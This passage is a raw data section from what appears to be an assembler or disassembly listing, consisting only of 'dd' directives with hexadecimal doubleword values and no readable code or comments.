0FBA42E39h dd 2620000Eh, 6F806B35h, 0E48FC200h, 0DFF86966h, 149E00A9h dd 5B0EFAE9h, 4E7FBC9Ah, 1CABB200h, 0D20188C3h, 82470056h dd 3AA7D3D4h, 7D00E60Fh, 0F19AB642h, 0B2FA5D1h, 7EE1681Eh dd 0C16FD603h, 0DF42E4C0h, 0EC40C400h, 0D3FC8332h, 77230095h dd 0BC51C2ADh, 0E800762Eh, 470095Dh, 3A86C0E4h, 2300775Ch dd 383B6D1Eh, 717DECF4h, 0C5E0E3Ch, 11EDEAE8h, 272B00B7h dd 4372E9DFh, 6B003844h, 46E01150h, 0F8EAB949h, 0DF613D0Eh dd 9F5E8ACh, 2881712Fh, 97245E35h, 4200D950h, 96387572h dd 8852632Eh, 92F1F3B0h, 28288EC0h, 0E506BF3Ch, 0D82572h dd 2C6269BFh, 0D62407B8h, 55141707h, 1B72B398h, 0DA30A0FDh dd 0C1721EF3h, 643CFAB0h, 73563036h, 17D420A8h, 85558D04h dd 717CF925h, 80DFD923h, 7F548D35h, 0FF47138Ah, 55B4DC8h dd 2116A9C0h, 0F92078E7h, 0AC983250h, 27238401h, 0C481240Dh dd 0BFD19CE1h, 3B64E8h, 0EA6B82F4h, 9D5C8CFFh, 558E10Fh dd 1D2DC7C1h, 8ADF37C0h, 0F81C902Ch, 7910C110h, 4829AE17h dd 8C0E0420h, 0A8FE105Dh, 150DF806h, 0C1A6FF80h, 3C2A1E88h dd 0B71024F4h, 0CC004371h, 46E287B5h, 88EE65C5h, 821488Ah dd 0AD2D0424h, 0BC309DB4h, 0B869A640h, 11C22023h, 10021CC0h dd 1D4A26BCh, 0D362D546h, 4C552016h, 0F82008CCh, 12E1443Fh dd 7002386Fh, 96E89B8Dh, 0C4F41120h, 7580D85Eh, 615D11BAh dd 0D8F0F1E6h, 0B08E3AE2h, 0D11A17A1h, 40A1F77h, 60200D54h dd 0A5A044C8h, 8DE73D20h, 98600840h, 15407A53h, 60628A92h dd 0FC25E7h, 0B98494C0h, 0DC90EBF8h, 0AF653509h, 0A1E00022h dd 984934A6h, 0CE7A004Ch, 0D9CFFD98h, 2724DCD4h, 83002CE8h dd 6CE49564h, 0F3AD1EEAh, 815C345Fh, 49A53210h, 5BD9FF20h dd 9E840ABCh, 1DBA3875h, 918F9DE6h, 6FBAE1DDh, 0E569020Eh dd 358A5BE3h, 4C698EBBh, 40C6CA2Ch, 857012F0h, 87CCDD03h dd 0BC01DAB5h, 6FAA2120h, 8C71D5C0h, 0A0AD5712h, 582006CAh dd 0E511A72Fh, 82F3D4BAh, 159D38D4h, 602A5E1Dh, 39CBEE0h dd 6A10F9F4h, 0BC4E40CEh, 0A86C2669h, 8217A860h, 0A1FE1197h dd 0DB0DF1C0h, 4098C832h, 41E8ADDCh, 0B9C22947h, 28C5DE31h dd 0CEF64281h, 1F0AFB81h, 0CCDE5914h, 9EF4F5C7h, 7B801997h dd 0FE786F89h, 0FAEC00C3h, 76874568h, 0A430CC3Fh, 0F4991841h dd 2120A6A3h, 0E440D95Ah, 3B32A517h, 0CC8436D5h, 3C27FDFCh dd 7140AE8Ah, 58380717h, 70F4813Eh, 2057714Eh, 0D388EB00h dd 0FCAEABCFh, 1E4778EAh, 396B0E16h, 4F95E0Eh, 0C7312021h dd 6E62C08Ah, 0C420FC56h dd 0A801D7C2h, 9CC5F880h, 7C0E1228h, 0E0FB8EE8h, 0BB308460h dd 83B70047h, 62CDA9F4h, 4900AF89h, 0AD879459h, 1FB407EEh dd 189698F7h, 0DE1B10D8h, 0D28D7F00h, 0D9E6C982h, 0FA40C1ADh dd 0A94F8C8h, 38DFCB84h, 6FCF04F8h, 78F28F61h, 8240A51Fh dd 0C69F747Eh, 0F0631015h, 233FBEABh, 2FE48178h, 220A6F3Ch dd 20733FD6h, 8708F3D8h, 0F2624501h, 605BB089h, 3A738879h dd 0DA474600h, 0FA4475ADh, 5CF100E1h, 0A343B34Dh, 943D5FF2h dd 0F7FF06CEh, 184CC9h, 0DD0DCB71h, 6AB9270h, 0C4CCD500h dd 3E381C37h, 418F6002h, 0DA2CF22Fh, 0A48B0A11h, 6428F1h dd 0E4395Fh, 8C43B1C1h, 9814EC9h, 0D0A23Dh, 71564796h dd 0B08F6705h, 0B3953017h, 272F31D8h, 80C84C61h, 0B2E0CD5Bh dd 54ACE4B9h, 2B32003h, 1D508256h, 983E2B1Bh, 1D20853Dh dd 0A4A744D4h, 41EA7C69h, 0F8CEC4BBh, 88CA40h, 0CCD6B45Ch dd 926F6DF7h, 9A0E9F00h, 8DEDAE40h, 7CE5B089h, 3EC4A082h dd 43A10761h, 8E7D3827h, 2B3EA2EFh, 62800120h, 1F279145h dd 74E08521h, 858DDC2Eh, 1C9B4D42h, 0F8D17604h, 0E97C5D41h dd 7B809A42h, 72782CEBh, 888F917Fh, 0CE709B55h, 9D172157h dd 10B3151h, 2FDDEB21h, 605E2E60h, 209EB914h, 0A0989DA3h dd 958F275Ah, 0E9CE40DDh, 850A74C1h, 0A58A0A17h, 0E57578C0h dd 4081692Bh, 0C02C01C5h, 0B6EB0E8Ah, 0A8F0C989h, 0B39E233Ch dd 0AC0E7380h, 0AF96C78Fh, 9DED0840h, 0D400253h, 5FEBA4D8h dd 0C209433Eh, 951F80EBh, 20F595C0h, 3CDF8BCEh, 5D185888h dd 919E51F8h, 1C1FC140h, 0C5C04AF5h, 60289C65h, 45C408A3h dd 0C1F89A9Eh, 3F20A59Bh, 0ECA46C84h, 85AD7C5Ch, 910A80A0h dd 60A04068h, 202C95F3h, 0B07C0817h, 59F95D0Bh, 32550A0Fh dd 6056E0FDh, 4B324145h, 1B007430h, 8F0EAF86h, 2760BF8h dd 17FEDA39h, 5442928Bh, 45D72C60h, 78516F60h, 8044B75Ah dd 0F30090E2h, 8B759BF8h, 0D60980h, 74318892h, 7C5E99Ah dd 6C7888D8h, 51AC6263h, 0E201ADB7h, 2048F4B4h, 0C6284376h dd 7C8503Ch, 0D6DCD99Bh, 5947C171h, 0BDA6E1E8h, 3C389058h dd 54307D3Eh, 9F919B71h, 47487660h, 6AE167Fh, 61A77908h dd 609778D8h, 0C158ABDh, 320F153h, 0DEF6CE68h, 0F38B7613h dd 1A7707AAh, 6DE780E4h, 4A00DA7Eh, 4902AC22h, 0FCBA47A7h dd 80E6511Fh, 1DF61860h, 0C0599F8Dh, 8EAF888Ch, 0B0A0F71Eh dd 0E8C086B0h, 9375C58Bh, 4838677Bh, 80CB65D7h, 0DAF1670h dd 0A150C8A4h, 6416698Ch, 9413AC98h, 91498C06h, 29840268h dd 1CA0D77Dh, 1824E483h, 48B2C3E0h, 4B508A00h, 6A1F973Fh dd 3CB00EAh, 56AF9A69h, 0CE618DDFh, 0DA319B80h, 2D5FF050h dd 1E03005Dh, 4B2E84EEh, 34019F12h, 4CC13533h, 0B0C10B8Fh dd 1E278EE0h, 40EDABAFh, 9C1BD89Bh, 360232D6h, 87A9CE5Bh dd 0E3A4AF22h, 0FB24D39h, 7EC66D60h, 0F70AD8D4h, 3C0D0CAh dd 18DAE188h, 0ABA2ADA8h, 10C815Ch, 3DE8D2E9h, 0D07079A7h dd 31F0D993h, 3A6870AFh, 0A088D951h, 0C4B0A810h, 18018CD6h dd 0F6CAEA75h, 59343181h, 20B47EAFh, 0FE00A35Ch, 0B2F7DE87h dd 49321343h, 0C031C4Ah, 0A96851FBh, 2CC75000h, 0ADD9F859h dd 1679C00Ah, 3839DB78h, 0E175B4B8h, 0B9054824h, 507ABB05h dd 0DE81A82Eh, 83FA860Ah, 0D32C9FE0h, 0F5800592h, 0D09D5BFFh dd 0E0F38E84h, 0C276FCA0h, 0FC6BCB12h, 0C0D5740Ch, 5DE80088h dd 78C85BD7h, 0E10059C2h, 50D19A1Fh, 0A0090421h, 6EF9AF80h dd 0C0DD31A7h, 9B6636FEh, 4E37CBF7h, 7AD01873h, 40075A81h dd 0E688528Fh, 0C08D54D2h, 2E0A016h, 9A2937F7h, 6E3771B8h dd 0FC3E838Ch, 6A1283h, 98EC15A1h, 0CF36106Bh, 0C8485DE2h dd 21BF37D4h, 0D58B7A50h, 16790CAFh, 55A00B0Ah, 0D15DBC00h dd 14FB41DEh, 24D0926Eh, 400CA9C7h, 7DB2C4F5h, 4570AAh dd 3E109E00h, 6ED8FFh, 0DA52A52Fh, 0F372CAADh, 264EDE48h dd 66007CA7h, 9BBBB284h, 974F03F4h, 747571EDh, 14586800h dd 4150768Ah, 740648DFh, 7CC84B28h, 16D54042h, 4A7CC774h dd 7375E318h, 50F3BB80h, 969F4C2h, 3776D99Ch, 83182411h dd 0EECCF079h, 84CB9FBh, 0B0D6E083h, 38249A3Ah, 4BE045Eh dd 0AED7E19Ch, 9BC13487h, 0B422E4D5h, 0A93D1200h, 8C6C47CDh dd 5003149Ah, 85FD2FCEh, 0E85AC388h, 50B558F4h, 9C8033h dd 0E95E4EC6h, 75D1BFCFh, 7E6A1400h, 14297DEh, 0E2680676h dd 0F1203989h, 2C3A7090h, 72D041DDh, 58B34893h, 48C6985h dd 21FECB0Ch, 0AB0892D5h, 0E9C16722h, 0DFFF3183h, 99CBFD9Bh dd 91498FBFh, 35D17883h, 18A2A80Ah, 9C1F8C4Ah, 5573A340h dd 9005AB39h, 0E8222CE4h, 0BCF0240Ch, 5B041CC9h, 83F18D2Fh dd 66E190E4h, 2D0C41A9h, 7C1413E6h, 5077EE59h, 14F7B82Bh dd 0CC9FFFF6h, 88467C50h, 68253932h, 7B089CDh, 0C1CC7FF4h dd 40851207h, 0D5801F09h, 0CAC6243Ah, 5F1E6153h, 61956A39h dd 0D35908A8h, 0D70A8392h, 60E57FDCh, 3DDF7930h, 1BAD8F1Bh dd 166AB049h, 0D6E22932h, 0A198880h, 8CD05A44h, 90CB71E6h dd 0C2B487Ch, 7E50787Bh, 4844908Ch, 0C9399889h, 7348D9B3h dd 0F8E78822h, 68409B1h, 24C3DE5Ah, 48C0F698h, 3E39C0CEh dd 0A513106Eh, 5D2FF007h, 0ADDD2820h, 0F6DC1C5Ch, 0AF67C7B8h dd 57DAD383h, 491F39C0h, 3DC9A600h, 0CCACB7CAh, 0E34D00F6h dd 4C477043h, 0B6011C71h, 5874FE26h, 44F82F07h, 17EC0731h dd 3D1147h, 37DF87A6h, 226BC3Ch, 0B8DC0A36h, 873C90DBh dd 8854257h, 624AB949h, 4B18D06Ch, 24218C49h, 36F388E7h dd 0B7CFF581h, 1902BD52h, 5D881881h, 0B7C9001Ah, 5CD1337Eh dd 37F8C720h, 22527370h, 2FE81530h, 225A3F18h, 9B90623h dd 80166BACh, 0F3A38301h, 4FCDB858h, 21489C58h, 423CE8B6h dd 0EB73BB00h, 7CB935F1h, 61AC5105h, 0F8145508h, 541A0347h dd 0C0BE7F80h, 14117A9h, 0C1BA1B49h, 0E0C56951h, 920F9CA0h dd 0C84FC0h, 0B3D6C4E8h, 55B23B54h, 6947B100h, 0EFB87E5Ah dd 0E6D47C06h, 1079C383h, 9CA47D39h, 22489C23h, 0E9F91F0Ch dd 0E0689Eh, 0FE9CC5D0h, 61B79085h, 1C54E429h, 586A581Ch dd 42EC123h, 219068FCh, 4918D184h, 3411A943h, 0A7AD84CEh dd 1843A831h, 0BB3828D0h, 1F8D223Ch, 0E7FED60Eh, 0AEC139B1h dd 2843188h, 0A998306Eh, 0ACA6CE20h, 908BD3EEh, 88823DFDh dd 31C2AED5h, 109198C8h, 51FD2E7Ch, 0C95596Ch, 24D1460Ch dd 5CC200F9h, 5202206Ah, 0CA65CD2Ch, 180286A8h, 118FB351h dd 0AD840A70h, 0B9C8328Ch, 0D85874F4h, 2184AEEDh, 94949EF8h dd 5029C46Ch, 18D40431h, 3CBE5415h, 38758E18h, 0BD47C0A6h dd 0A8757014h, 0E1E244C8h, 1CF4195Ah, 3C96548Dh, 0BE5921E3h dd 78AAA89Dh, 108C1971h, 9D9030ACh, 58282F91h, 111968FCh dd 2BB12FCh, 906A552Ch, 0A447C104h, 0D94288BAh, 0FD8B202Eh dd 306A0EE7h, 59144410h, 44993DD8h, 0B81988D4h, 56F42386h dd 0C1DC1404h, 60980122h, 4D8647C0h, 61C408E0h, 0BFF831A4h dd 88FC2918h, 14C44784h, 0CA9C47B4h, 98E1D851h, 0D80092E1h dd 250F666Ah, 61C29080h, 0DCEC5D2Ah, 304115E0h, 0F728D524h dd 0E1EC47FEh, 73B853Eh, 0C12D4CEFh, 0B6558D70h, 0C5C40CDCh dd 66B0A825h, 51A66230h, 62443DFCh, 0ECC8D8E3h, 5C5E2498h dd 82C28804h, 0A8216801h dd 9830B1E7h, 180691CBh, 6288E0FCh, 8558A06Bh, 0C33280EDh dd 3F0058DFh, 4459912Dh, 28866894h, 0D1D008A0h, 85441837h dd 23EB6607h, 67C07BF5h, 8002D606h, 2C61AA69h, 7AA88C4Dh dd 30E060A7h, 30E554E9h, 2AE3DB05h, 9421F789h, 0B0444309h dd 20A9428h, 82C3ABDEh, 540157D1h, 5180EB59h, 582CC8C2h dd 11C3D444h, 2569D82h, 4306929h, 2040D281h, 4128943Bh dd 5519B05Fh, 91381BEDh, 1448E18Eh, 54DBBFC0h, 3E14552Bh dd 5885087h, 0B3463DC4h, 0D67FCC45h, 0C257A823h, 79FC9933h dd 0F9C5A450h, 0FCC0509Dh, 32EF4CCFh, 29607848h, 41A3085h dd 784E949h, 0ECF15D67h, 0F0B6B360h, 7C1F2AE1h, 0CCE900C4h dd 0B296CB46h, 63156D91h, 75F47154h, 0E80C68ABh, 51BE7021h dd 0E103229Fh, 0C1C3349Ah, 1DFC5430h, 93AEE379h, 0C19F00EDh dd 193B8CE7h, 8E19528h, 50FFD8A1h, 0C5EB60ACh, 487658h dd 91CAD0B3h, 766B669h, 0FB638A13h, 0E3C28083h, 0E0A85AFCh dd 0F014E6FDh, 80E8E52Ah, 5453719h, 0E630A1BBh, 0C6DB4810h dd 98436788h, 0EE27F810h, 0E0B0D1EBh, 1B237AC0h, 2A028776h dd 0C2BD932Bh, 26488080h, 807CFC0Dh, 41F03D7Fh, 65C88C54h dd 28BDEB10h, 0E0CC52Ah, 0CAE181Fh, 0C2ECA05h, 5C20A280h dd 2A709E40h, 0F018C7FCh, 5AD1562h, 0CA00B419h, 6B270955h dd 0C9343B78h, 7880A842h, 80C0ACD5h, 46484159h, 0F5EB8238h dd 257C61BBh, 0C9E7A860h, 840FA358h, 8814420Ah, 7D08A76Dh dd 25C84C44h, 94987A54h, 45051892h, 667BEF48h, 54005CC5h dd 71C43BA1h, 0C890C7B2h, 300957C6h, 0A3FBD00Ah, 651F5E00h dd 0AF2C59DBh, 851B0742h, 87588B4Ch, 275B80F0h, 46609E9Ch dd 8FB6BC28h, 0AC4063Dh, 41AFFBE2h, 43EC3607h, 72C0C106h dd 0C05C3h, 5FC6AD45h, 1C90B195h, 0B9FE2303h, 1218D6h dd 3AFA0E80h, 0BC8C89C9h, 42A4914h, 94200648h, 7500730h dd 0FACFABFCh, 0BCA8C110h, 3EBE0FEh, 4DF210C0h, 0C7DAC163h dd 0C99B1BC1h, 50863B83h, 3EC6C5C8h, 48C7E230h, 81122A93h dd 0BB9CD836h, 2F917801h, 0F159C8AFh, 63582C50h, 4A660C27h dd 0C2202DE7h, 0DF227B03h, 0E3671E4Eh, 5C1918FBh, 0C22C4123h dd 2448F829h, 0DA6AD600h, 2982BC57h, 348A1EFh, 5BEC02A4h dd 54CEF003h, 7C962B8h, 63762048h, 45031086h, 0DB543FA5h dd 4C33DF30h, 0B0C8F1BFh, 28C0459Ch, 2082F93h, 0DAD84B64h dd 0BC807CEBh, 6C9D69A0h, 94A8AD61h, 5180CE4Ch, 85E922EDh dd 771458C7h, 0FCB0FAh, 8374EFAFh, 3F0B6C0Eh, 0CF25238h dd 5F7585FDh, 0E40AD879h, 8453D67Bh, 0FF0674BCh, 0AE7FC769h dd 39C7168h, 458ECAD5h, 381C5A55h, 34C091E0h, 0FB883ABCh dd 4519C020h, 927CF194h, 662D0A0Ah, 0DE006847h, 444250BAh dd 9567823h, 207967ACh, 0EE1C3818h, 391273FEh, 870CC9Ah dd 3C3835C3h, 8280BC56h, 23378BDDh, 5B2850F9h, 1F1388ACh dd 0C804562Dh, 5880AE2Eh, 81825AF5h, 16C4F8D1h, 0D06894F9h dd 98B098F4h, 0EFF80C38h, 3D382D18h, 0BC6B7D03h, 0C5ACD164h dd 220FA405h, 67FC2043h, 6B23C136h, 15AAE880h, 0D17BBE26h dd 9CB26968h, 702D8A80h, 0C833B04Bh, 0FB807518h, 234D5856h dd 544739FAh, 1078AD34h, 200110F0h, 0CEC1144Bh, 0B4A4522Eh dd 109C5527h, 0C388AB22h, 14102A1Bh, 0F11DF0E0h, 0C7395BD8h dd 65655211h, 6A18073Ah, 2C6BF284h, 47937F20h, 9810A14Ah dd 67D275E0h, 828A113Ah, 3080435Bh, 6247849Fh, 3A202762h dd 2EA8A03Ch, 0B8556E31h, 4174A831h, 0BF3A1C8Eh, 0A56480B4h dd 959D6FA6h, 0FD204C60h, 900AD3ABh, 0B1203CB0h, 0F4EB6800h dd 4044939Bh, 48C061DFh, 1211669Eh, 68D1002Eh, 6487CCD8h dd 3714042Ch, 4DC1F7Bh, 0C77292CBh, 90C0C80h, 0F7A52A42h dd 2875EAF4h, 0F5B47384h, 24A47ED4h, 3A184860h, 0F1187D30h dd 28241592h, 0CB005071h, 4A7F3BCAh, 0FB8A1287h, 2DA84180h dd 306573ECh, 0ED0A969Ch, 804FDA68h, 0A40CEA93h, 0A2FD070h dd 9CD4DCD2h, 0D3BC06ACh, 12031844h, 0A31E52ECh, 5D7FE00Ah dd 583C5069h, 589CA97Ah, 23A848FAh, 6B2020ECh, 0EFCABD1Eh dd 0ACC74006h, 98A00F41h, 0A138FB8Bh, 0D4A81CC3h, 190251DAh dd 86E6A29Ch, 584622h, 461BE7BDh, 8B20816Ch, 76ADA620h dd 45B626F1h, 40CA0964h, 0B5F01020h, 9C262011h, 0BCE4E7h dd 592DB4F8h, 122E1B19h, 1491BA96h, 0B373CB4h, 0C9E0F81h dd 5818306Fh, 0A2514F60h, 0E8DB78A9h, 278234D2h, 79C080E9h dd 0C9DEC419h, 28108108h, 0D0931014h, 22BC0031h, 24C6E68Dh dd 47671BC2h, 5A27155h, 8198441h, 50657888h, 0C84E0809h dd 0DC465220h, 304540h, 585EF894h, 0AB80AC02h, 412F20D8h dd 0FC30DCDCh, 14FB0164h, 42248645h, 1CD1C459h, 0FA61F49Ah dd 0F068A338h, 67060060h, 0C3DE19D8h, 383BAD72h, 92E00027h dd 9B6C5626h, 3E18C98Dh, 97D7E024h, 0D06F34B8h, 0CE43AC14h dd 0FB776306h, 303895CFh, 0AB29B8D6h, 717AF0B4h, 235AED05h dd 5C01AD43h, 0D29D6E1Fh, 62602834h, 0AE471084h, 0BA084624h dd 770A5844h, 6C800F18h, 4CAD6B04h, 0A865108Fh, 1B787C8h dd 0CDE7F513h, 60C0A975h, 0A4A80A3Ch, 2E025ABFh, 68AC6965h dd 806C415Bh, 0DD27A041h, 591BA020h, 8B2CE4EDh, 80002447h dd 0B9E0A475h, 0AE3C8D93h, 0A488BDBDh, 3CBC08A0h, 0FF0C094Eh dd 800C816Bh, 0C7F8A444h, 0DAAE01EAh, 2F9D8903h, 2ADC60FEh dd 41DF2400h, 82DE6C19h, 0A0B2F9h, 8DA01DB6h, 0D14F042Fh dd 98C3F3E0h, 75AD46EEh, 0F02C40C9h, 9671B02h, 556AC45h dd 0D8B0C9A3h, 0C2241966h, 2F800085h, 48CF5FC3h, 0A938715Bh dd 9CE21B94h, 94583F78h, 12248DA6h, 0B7001C2Ah, 81350479h dd 112E8EA4h, 18E167FFh, 333AD034h, 0DF8826FBh, 7C97A6A8h dd 90AD8C20h, 88750250h, 1ED96EBCh, 62EC6040h, 4823F4A8h dd 8E3A8518h, 446AC11h, 20012CBEh, 10BC887Bh, 584CF258h dd 2AC493Eh, 125D2E2h, 0B534E023h, 4518CB24h, 55703482h dd 67D0D808h, 5C9093h, 988AAA21h, 0CC9C4523h, 88385A00h dd 1A910E78h, 38849036h, 0D9009239h, 0BC23A0D3h, 0D8B23190h dd 0D40AC90h, 45E9C0CEh, 13CA3A8Fh, 82D1C60Dh, 56CD1058h dd 70821C65h, 4D2DA2DCh, 5A502CECh, 0A72CF51Ch, 0D012BCB9h dd 84A8F051h, 22558CAh, 4D93C74Ch, 0DD5C8CB4h, 7BE0147Ch dd 3946C4E8h, 0D2F9361h, 0D432FEF9h, 0FA095053h, 4420BC1Fh dd 6C188045h, 0CC0B3E24h, 75BB8781h, 0C054279Ch, 8C8AD85Fh dd 588588A2h, 801441D6h, 6AEB330h, 33DE1081h, 0EF167196h dd 80016734h, 0A91A3A93h, 28CCED4h, 0BD8F2BEBh, 0B084D903h dd 3E9C9810h, 61D6D18Fh, 5C8440CCh, 0D4049B96h, 0C8E92A5Eh dd 154B8C8h, 4049129Ah, 485A84ACh, 10858BCh, 8071C002h dd 0D456CED9h, 8E24AA4Ah, 8D9E2CBCh, 4FFBFC02h, 9C4C680Bh dd 94C4EEBFh, 0DAC0FF4h, 0B0A68590h, 902A8407h, 741E6E85h dd 0AA557A01h, 7C32ADECh, 0A61E8500h, 0DF16505Bh, 97EC303h dd 0F6F0C098h, 12BF1FD0h, 0B84F0683h, 571B497Bh, 88B1E0D6h dd 0C514FFh, 1BC225C3h, 0D5649C6Ch, 5818113Dh, 98F401FCh dd 7BD3C612h, 0DBB5B0CFh, 610D0223h, 6E9D68E0h, 0B85CE864h dd 0F81626C4h, 9168EF42h, 2095A708h, 8A00C81Eh, 88E6BC81h dd 94AB98FAh, 601B14B9h dd 6A4DDA64h, 4C007A28h, 74DD2DC5h, 6FB845BBh, 0C0E3C940h dd 290F523Ah, 0C89C113h, 55E16132h, 4431E0A1h, 0D33618Ch dd 16503AF9h, 51C08D14h, 0EAF1A772h, 2CC092D3h, 2134E00Ch dd 17F8029Ch, 6C404404h, 827B2DCDh, 8313DE01h, 0DAB84218h dd 10F2C2Ch, 9F40C661h, 845C6E5Bh, 0BCB37526h, 304B5597h dd 0CA18B902h, 970B9C29h, 28997593h, 1AB4203Ch, 79DB11C3h dd 0B859D8B4h, 3208BA32h, 1A803583h, 48780883h, 0C90FC1h dd 0CE76DC5h, 444A6638h, 5274BF49h, 606A540Ah, 2411CCCDh dd 9852D439h, 927A9848h, 620E0354h, 8C88BBA5h, 821248D8h dd 53F04B00h, 7EC363Dh, 0B528C07Ah, 0E30FE20h, 240227h dd 7859F2CCh, 0A95F019h, 0FE4003FCh, 9FCA600Ch, 57EDE291h dd 3B2260B0h, 9C001227h, 8BD05A2h, 0A0A00C62h, 48CFC240h dd 6C4B84BFh, 6010EC54h, 7F126FC8h, 34ECDC43h, 48E6778h dd 25D9DAC7h, 0BC70F0AFh, 10FACF11h, 71A0716h, 0FE4C8520h dd 0DAE12C20h, 0B1009564h, 5623378Ah, 981C27BAh, 26F17EA8h dd 28DFE4h, 358EF04h, 8002C784h, 96632060h, 5BE0421Ah dd 2C20B970h, 7F102900h, 84BDCAE3h, 5F4B44h, 77DADE60h dd 58C2428Bh, 0A37E217h, 8AB43E60h, 38BC8D18h, 1DB90F8Ch dd 88C94A94h, 68920E07h, 3300A8DAh, 0EB5FB581h, 0E0480011h dd 0AF2946C2h, 0A4016CF8h, 881DC6CCh, 818FAAFBh, 30269412h dd 1BF64869h, 0C4F0B841h, 183E6450h, 404CC91Ch, 97EDBFACh dd 884F752h, 0F1D1E11h, 16ECE8E3h, 50000930h, 48C151D7h dd 320121E5h, 69F8B14Fh, 84B9D918h, 218435E4h, 49C08BBEh dd 519994EFh, 0F884B069h, 17B0BA6h, 6B09830Fh, 9B20C20Bh dd 0E1D861A6h, 6216DB00h, 2DEDC109h, 5824007Ah, 9878F668h dd 336616ACh, 0DAD84008h, 0FDB52E92h, 7A00D576h, 453B8D0Fh dd 80C538h, 0E123A79Dh, 65D5104Eh, 6BDBB901h, 0EFEA7CB5h dd 14BB35E0h, 20B4E47Bh, 48C67438h, 2F6F1DF4h, 37F1CF41h dd 3880FB51h, 0D561D13Ah, 972E4A9Eh, 9D1C1189h, 42ADFC83h dd 60CEBA22h, 4CB291h, 48EB14F7h, 0D121B0EDh, 0EA8E9D19h dd 2F100A29h, 803CB67h, 0BFC06014h, 0DAF3C002h, 3F35073Dh dd 603A63B5h, 421001A3h, 7CFB8C01h, 4AE21230h, 3754D8h dd 570325Dh, 0CA9CA95Eh, 5C45D03Bh, 5DE02C82h, 0CB85F801h dd 5FE0AA4Eh, 40970008h, 2BCA8030h, 470759FBh, 566EA526h dd 8F467FA1h, 1E313C8h, 48F1DC9Bh, 0C03370C9h, 237238BDh dd 7A03F5E6h, 0E913D0FBh, 1128A8A6h, 0F62530AEh, 7FA2FA18h dd 700043F2h, 16968E04h, 260710h, 0D4EC7586h, 0B92735BFh dd 0F733B528h, 4CEA0C07h, 42265FEh, 5CDA403Bh, 0DB876h dd 0D4021C5Dh, 2E79E29Ch, 1B426000h, 3032FB71h, 0A5120016h dd 0D5E6CA9Ah, 0A8005135h, 0B6086761h, 78ECE46Bh, 4C7900BCh dd 6E1CC50h, 0C90D848h, 2F17BE00h, 0F2121CE6h, 7EF400F3h dd 8D59F10Fh, 601DDCFh, 4B020965h, 94E4EEC1h, 0D6EC0026h dd 0C7343B81h, 0B908340h, 21742972h, 54FE3A00h, 5669D485h dd 6ED0070h, 2DC78DDFh, 0D6077D23h, 0EA3D4453h, 0E4944660h dd 802070Ch, 406F1D3Bh, 8126DFFDh, 27C3201Fh, 0BFB10300h dd 0F0141889h, 0B6AB00BBh, 36D2D13Dh, 3400BE3Ch, 867F0244h dd 60068954h, 0EE73090Dh, 1BFC0F25h, 31FC4B2Eh, 0A14FCA00h dd 19015D4h, 72202E40h, 0C48D071Eh, 73000C56h, 37D3AFA7h dd 9E2236Ah, 0D0A0B33Bh, 8EBF7800h, 47E8E37Bh, 78FA703Eh dd 0A78BA317h, 0CAD3A507h, 0B8A96CC0h, 0BE6103B7h, 0D4609B4Ah dd 0DBEAC085h, 51016D07h, 196E14A2h, 0F9FCC74Fh, 0D7FA00C2h dd 0BC3F8E22h, 500E4B27h, 40A969E7h, 61E4B41Eh, 6C2400F6h dd 0EF05784Dh, 333CA31Ch, 0EACB1F5Fh, 0DDA46E40h, 8A6A94h dd 8431A660h, 9B4E764Ah, 0BF792678h, 6E3CEF7Ah, 8E0E8090h dd 0D5196653h, 0E4500F37h, 5AC742F6h, 0B7CD1117h, 6147CC75h dd 0D265E4A0h, 9ED7C705h, 87C00879h, 5C50288Dh, 0E6004383h dd 0D6200A23h, 7A1CF238h, 2409FC3Fh, 0D30680DAh, 1C1FBCB0h dd 81A4F3AFh, 99BAF952h, 8F8EF859h, 0FCD65E00h, 111EBBCCh dd 6637073Eh, 0A3B71204h, 8109E36Ch, 7BC20F1h, 0DFE2AEB9h dd 95807F55h, 66647860h, 0C95AB800h, 7AFFA003h, 3167007Bh dd 535E2737h, 140F02E2h, 2C42C2BDh, 1A701830h, 7A755F1Bh dd 435D8740h, 4F3568C0h, 0A28AEAh, 67B1E27Ah, 0C30A94B7h dd 7F996A0Eh, 481980EDh, 354A8Ah, 81212AFDh, 59BD3B5Ah dd 0E337CC00h, 14CA2938h, 7CFD0036h, 17E79F5Fh, 75F0AF9Ch dd 0FBE39200h, 335AAC7h, 1CD9042Dh, 80F3F4F8h, 87BFCC3h dd 0D0220F1Ch, 9C02C8C0h, 1D958E8h, 4CCA6842h, 301388EFh dd 7003F68h, 0FEA42FC7h, 75DAA80h, 2AB09C9Dh, 0DBC2C0ECh dd 7A7467B6h, 8C18FF00h, 64F2C74h, 3ED0289Bh, 2D041FACh dd 23B8C0A5h, 0CAC01082h, 0D309BC76h, 0F763122Ch, 0F58D5300h dd 9C00FA87h, 0AEE125A0h, 74E03BD6h, 0E4A7A0EFh, 1638025Fh dd 2FFE7701h, 0B46BD040h, 879F4600h, 5809C0B2h, 0C7DD389Bh dd 0A5A77103h, 12A32440h, 0B136B88h, 380018FCh, 53CA79AAh dd 14F74D5Ch, 0ECB9936Fh, 0C0456C1Eh, 0A0BA8C96h, 0A7001B34h dd 523C4F62h, 265E08h, 0BF67A983h, 1CE0CDA8h, 50B07900h dd 0B696AB1Fh, 8C080058h, 0FA266D6Ah, 0A500135Eh, 0D8F667BAh dd 7FBCC6h, 0C18034DAh, 5EE2861Eh, 92070400h, 1CA42239h dd 8E98A0FBh, 0BECE002h, 0F70F1F11h, 0FA212E01h, 66676043h dd 7BE69407h, 0C3A4DFF9h, 8977FC80h, 81BB0056h, 57D2A445h dd 26073CF0h, 3F7E701Ah, 0D15F72D0h, 2678E89Eh, 904E2A9h dd 90802744h, 281BF8A5h, 83369B60h, 757849h, 4A71884h dd 3AD6DE70h, 6B4C9BE4h, 880D0044h, 6D5C4ED3h, 18F0DFh dd 0CD46A9A8h, 0DA12CA17h, 56904300h, 0EE34FB81h, 73B70037h dd 206908A8h, 7400D9AAh, 0BDE22490h, 90F9AD3Dh, 0C4CF1488h dd 5A00A419h, 0DB8C678Ah, 4A003AD4h, 0C3BB63B3h, 151F05h dd 7FA7FED5h, 8EAD8731h, 0BD8E000h, 0BEB0D680h, 0AA50019h dd 0F49F3A4Eh, 0CA00221Ch, 0A83C5B90h, 579445h, 4C6B43CCh dd 0A29273F0h, 0BEFE3407h, 58820FD8h, 4C0890A5h, 0C1354111h dd 0B121E009h, 1D8821C0h, 7F68C863h, 16081CACh, 7C6601CDh dd 0F442D615h, 73013709h, 9B467AD4h, 6471E9CCh, 0E5CFE8E3h dd 881D5D33h, 0BA8C3A3Fh, 0D821E1CBh, 0EE380h, 3B640416h dd 0A656F001h, 7C1ECB76h, 